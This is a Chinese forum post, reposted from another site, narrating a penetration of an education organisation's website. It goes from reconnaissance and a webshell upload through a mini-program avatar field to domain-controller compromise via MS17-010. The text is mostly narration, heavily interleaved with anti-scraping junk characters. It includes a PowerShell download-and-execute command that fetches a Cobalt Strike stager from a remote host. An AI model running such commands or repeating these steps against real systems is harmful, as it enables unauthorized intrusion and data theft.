找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2211|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

1 O" i# O8 D( R3 v6 h+ e! o5 V 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路. }& T4 ?* _% M5 A$ }+ f: E( q( b

( J. D e+ ]$ G" p

, M- m5 d' J8 i3 @1 _1 o   # g: F. M6 Q' {2 M6 Y$ t

# Q2 j6 Z9 W" h& Z

, d' y& y/ D" g3 }+ Q, @ 正文; L% }& ^1 y8 k1 S, j f. |

* Q- K- f: a: J( ]

f( d0 t2 S6 m" \- v6 X  5 ^3 F1 F" b v: t

* @* U- g, P; l9 R1 t" \0 @

4 g7 w8 h* v9 l& I% ^. Y1 v' c 目标:www.xxxx.com(一家教育机构)
' ]8 W7 M6 r/ P1 K( m
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
# [7 K) a- ?4 b+ [; b* c6 ?

) Q2 ]: }! l' S2 |. p: g# X

- B4 }7 r& ^* s& S) q4 R4 ]0 n$ } { vshapes= % }. p# `- M" v: A1 d) ]

" e2 a- K" w. I3 f& M1 U

: \. [- N5 `9 w- w+ P 进行了简单的信息搜集
5 V/ D0 J: L$ ^* J
0 l- N3 G7 b" T3 _4 L
1 w7 H4 p7 i& R3 c' r; |8 O

y: X5 B4 C2 M1 l% I! d

- ?9 q8 B4 i* z6 v) J8 K' l 子域名搜集6 E0 e3 v$ N' [" z7 w- ^# `

* }5 L1 H C- v7 W

8 k0 F$ K9 [% K' D! Z vshapes=" ]3 m* Q- C( B( J% \; S& k

4 J* h" w+ Q5 a- ?- f. L

/ U2 n# Q3 }/ q$ a/ }" y fofa找资产
% y: {0 {- r- r6 }) }/ r
6 R8 x& [# j5 t9 |: s u; S( s
! @* L, s5 e0 P3 P" f

' V s7 K% }0 Q" e# ~

/ B& y% |, _5 g) J! g vshapes= : u( |* @7 E" b( B$ O% a) S. P* c. ? l

) [) D/ C, t } n9 Z; V: \

3 _0 d {; K. X& ]* ` 一共七个资产。去重之后只有两个。
4 }8 R$ h( j$ Y3 j
& _+ R1 _1 A( m) O- ~2 e" g
( X( M1 J% r" S3 R8 u' ]

$ _8 ^+ U. t, B9 Q6 h u

+ U" T3 I" e4 P2 }3 t) b 目录探测 4 [. t& f7 k& u! A8 v' W5 D$ S

8 w- I" N' E( t3 f+ A( y

" q" N; n+ H; n: b3 ]+ f" l1 _ vshapes=8 W# [- R5 A3 M

! W, T8 J8 M2 z; D% }. A2 |

; A3 e, x3 }7 x4 i9 k; {& w. f 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
5 R; @5 B* P9 b/ B& R0 |
. m5 K6 O8 y4 B* G2 E: J
?0 T: g: G0 {9 `: w

5 [: k) O8 F1 g( A

+ O1 a- e- k1 N2 e! H% f" r 我又尝试了通过修改返回包来绕过登录界面 ( D9 ]7 l; o1 H( l/ T

- G9 |7 X; m1 g: {

; a8 N0 S5 y7 \: f8 b vshapes=8 {# b6 P& R& A; {3 p

9 ~/ p U+ ~" B4 G& o% H

4 U% f+ h4 r4 D: c! U* e, |/ P 还是不行,尝试注入无果5 p! `$ D6 R$ r# @

) e" M8 d6 c! I' l

% s4 J2 [' f6 [ Y+ Y7 f. y vshapes= 9 l1 {( P$ l' ?. b8 N/ ]% n0 Z c

! m& s! F [& c! |7 }! e

% }! U& |, c3 w) J4 e 不过我目录探测出了一处Spring信息泄露
/ q+ k6 B b' r# g+ X
' Z$ t2 O3 S, r- N
, m+ P! U6 k* F' |1 U0 a6 ]9 H7 {( C

& H! ^/ t/ r H. T1 s

/ D" k$ v( t& W. H! w: x( g1 h vshapes=/ Q! P! Q, T, y- X. n) I# \/ w

6 L6 k7 n) n$ R/ o- Y

7 { h( L' S8 e J- N- C 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录/ o# [& a) _, F( T' v. ~- U! i

" p& e- r# B/ Y6 H5 s9 v

1 q+ s* I' l0 l vshapes=# E r8 D+ A2 q7 s1 b6 ?

u& ~5 X N4 ]: u

( r. z" ?: G7 [9 b 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。 ! R* T) K1 h0 K8 l% r- G

* `. ]" w2 b" [* e5 }

! D' M0 N, k# K& F9 B; z: h: P# L vshapes=; O2 f; t4 [& r5 }6 p$ t2 s9 }

1 s# h* y, o( e+ d# n

9 d9 P* a& }2 u2 c" T { 获取有些师傅到这一步就手机抓包电脑测了。 6 `2 W. l A9 c7 U+ `! }) Q

" S& C1 v0 W! k# f) w' D

( o0 l: R$ Z0 e$ ]0 m# o- H7 A ] Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。2 u+ X: b2 K/ ~* E0 t m( ^

$ T4 Y& e: y0 @; S$ f9 O, k

; f j/ R$ x g) G, d9 u4 u, H 其中在一个公众号发现了小程序,可以进行注册。0 q y) ^6 E- N% `) x+ E* t

d4 V o C" q* ~

q( |& d- H# ]4 [ ~) E 看到了头像上传,尝试上传获取WebShell8 j: R8 ]. @" k' \$ q

9 M/ V8 H7 @: D w

# j. P/ u2 @6 a( G2 a* f# P vshapes= + [- f; ^/ O1 I7 J G9 j/ }, f3 M

# N) n. j, ^8 i: F6 c! ~7 g

$ j$ u$ J4 B/ J, R 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问 2 M4 b( J" f9 e+ r

- B6 d1 D. m4 O t* l# ]: \

4 s( z7 `- ~) [- j4 t; Q vshapes=; V6 i" u7 ^( f$ K; ]' p

6 m# l7 A0 J4 v0 j( H4 B

' u3 N5 k: [, n/ u$ f, k9 n 然后上了大马 6 I% ]: p& r9 F# V3 T( w

1 P" |7 Z3 g. O& b5 h" d+ Q7 I

4 Q* f5 |* u a vshapes=" m; K2 k) G0 ^$ y* v- f- S) I

- @1 a$ b! ]$ w6 W

; |5 A5 f% z7 P. q+ \& ? vshapes= # d+ i8 N, d0 ]' a" P. N

^7 E" p8 B% E; H1 e8 ]

/ l2 W$ g; F; F/ _2 M. P4 | 通过翻找文件发现数据库账号密码2 J* L9 Z: B- |% ?; K3 M1 p

2 ^' ~: q" E# p+ A7 h

" K* t" O0 ~6 `' W# i# x vshapes=) J! _& S" U% N7 e" M6 U

8 p" c0 c' q9 S$ ?! c( I$ d

3 R% G: L/ O9 @2 E6 b1 I* s --内网渗透 ' _5 l( d( Z X

b" _3 A: ~; B4 ]4 G- _

7 o/ P' a0 |! Z- r; U; X2 z 直接通过powershell执行 cs上线$ i9 Z7 d2 G4 O8 l" Z

0 s% S+ U7 `* V+ n

' c: X4 D, n2 \0 C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" 2 {# L1 @7 a3 h7 @4 f1 O/ n

. G& ~8 {, @! u0 s) P: a: h7 _

3 @3 a" b1 L# s1 _8 y vshapes= ( L" d& e! g. P/ g6 Z

O+ ]# {0 F* H7 [. ^- Y G

' s# p* z+ M, w% X 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 " f+ s2 F7 g4 x4 [' m

2 k. G3 T+ g& C5 M: o

H+ ?6 M: i* P# W: Z vshapes=; h3 L/ [, f3 i) X( h0 I" I

! D- a: X: [0 g( z2 T; R4 L/ H

: x* x$ n# r# e$ N( I9 T 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
. U* {$ t7 A7 v& [7 ^
: q/ @$ j- g0 ]* O, w
0 W& N2 x: `. Y9 t
" g, O' ?7 P8 d9 [5 C) n

/ H. x5 q8 W5 m# F3 w2 ~

/ \) @8 w m- [ vshapes= / d, d8 u' J! ]3 h+ }

" f# Q" g1 ~# _, D

/ H3 Q7 ^# r5 D' U x' z; Q 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
* {7 z+ B# i# {6 G* _
" m0 B- K& g. P' [# w
$ w, t3 r: V j

6 H/ `# m/ T E. Q+ h

; L* L& I T7 [( _ vshapes=% ^9 k; [1 q ^+ C

: g4 g9 ?2 u8 {& o1 ~; h

0 I: a$ d# {1 O8 L0 ]3 r* t
# T2 M* i) _3 W
. L" J" t+ I! z! s6 t' W9 l
0 [- P; k/ D4 H, T* d' k

6 ?* d3 c0 p& N9 h* w

# S3 O$ \0 H0 r/ u& X" j( T  % S2 t% ~) o5 U d) Y

+ s: I0 U r$ [) W2 ?3 P8 @

" B2 B- y# Y# \6 a4 s1 N6 k; Z 小结 0 ?; S0 @/ V- o

( x7 F& O/ _4 q1 I' j* N% K A+ O

- C2 R- L. [% g1 c# x* R5 @, A   . {# M% ~2 B! x8 e( v: ^, b( n

# x' P6 e# J6 d

( A4 E; p9 ]$ A3 y% | 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路! ; l1 s1 n) l+ G* L% v& o( Q- e

6 R5 a8 |5 }% J; E+ @' K" f6 ?4 J

8 k3 X7 x! s4 y# @: E9 }3 w- x* z  - e- o1 o9 D8 M) S1 S. E1 Q( m) ^

8 @2 X0 v4 c* ]0 V, [8 ~8 }& k
    % C, r) J/ _; ~1 a: X' K# [
  • 8 Y( ?; g* V9 u7 s `: j  ) _7 e: s6 O9 A! X7 B0 h
  • ( [( w. L/ T( H! C- S
  • ! w, a" J6 Q( e" R; [3 P0 ~7 x2 i$ H   " m/ C" ^+ e5 _4 P6 k# ^. i; f7 ]1 @
  • ; c& n, {8 D4 l" a! T
- h- m: j. R7 E/ B7 X R9 P

3 e" q1 a/ p7 ]$ }, ]9 p! X9 p 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html( _8 w8 I1 q' v/ K) x! R/ I

" o9 N1 G0 r: O7 {

8 m, n4 V! g/ g8 J" V! u: A4 b( x   5 h" i, J" p o' n

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表